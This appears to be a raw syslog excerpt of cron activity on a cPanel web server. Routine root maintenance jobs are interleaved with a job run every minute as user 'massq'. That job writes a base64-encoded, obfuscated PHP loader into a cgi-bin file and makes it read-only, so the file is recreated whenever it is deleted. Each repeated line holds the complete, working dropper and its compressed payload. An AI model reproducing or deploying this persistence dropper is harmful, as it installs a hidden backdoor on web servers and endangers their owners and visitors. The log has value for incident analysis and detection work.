Sep  5 16:10:01 server CROND[15812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:10:01 server CROND[15813]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:10:01 server CROND[15814]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:10:01 server CROND[15819]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:10:01 server CROND[15815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:10:01 server CROND[15816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:11:01 server CROND[16690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:11:01 server CROND[16691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:11:01 server CROND[16692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:12:01 server CROND[17060]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 16:12:01 server CROND[17063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:12:01 server CROND[17064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:12:01 server CROND[17062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:13:01 server CROND[17431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:13:01 server CROND[17432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:13:01 server CROND[17433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:14:01 server CROND[17952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:14:01 server CROND[17953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:14:01 server CROND[17954]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:15:01 server CROND[18337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:15:01 server CROND[18339]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:15:01 server CROND[18341]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:15:01 server CROND[18345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:15:01 server CROND[18342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:15:01 server CROND[18350]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 16:15:01 server CROND[18351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:15:01 server CROND[18353]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 16:15:01 server CROND[18354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:16:01 server CROND[19184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:16:01 server CROND[19183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:16:01 server CROND[19193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:17:01 server CROND[19601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:17:01 server CROND[19602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:17:01 server CROND[19603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:18:01 server CROND[19980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:18:01 server CROND[19981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:18:01 server CROND[19982]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:19:01 server CROND[20460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:19:01 server CROND[20462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:19:01 server CROND[20463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:20:01 server CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:20:01 server CROND[20854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 16:20:01 server CROND[20860]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 16:20:01 server CROND[20866]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 16:20:01 server CROND[20862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:20:01 server CROND[20867]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:20:01 server CROND[20865]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:20:01 server CROND[20864]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:20:01 server CROND[20863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:21:01 server CROND[21691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:21:01 server CROND[21692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
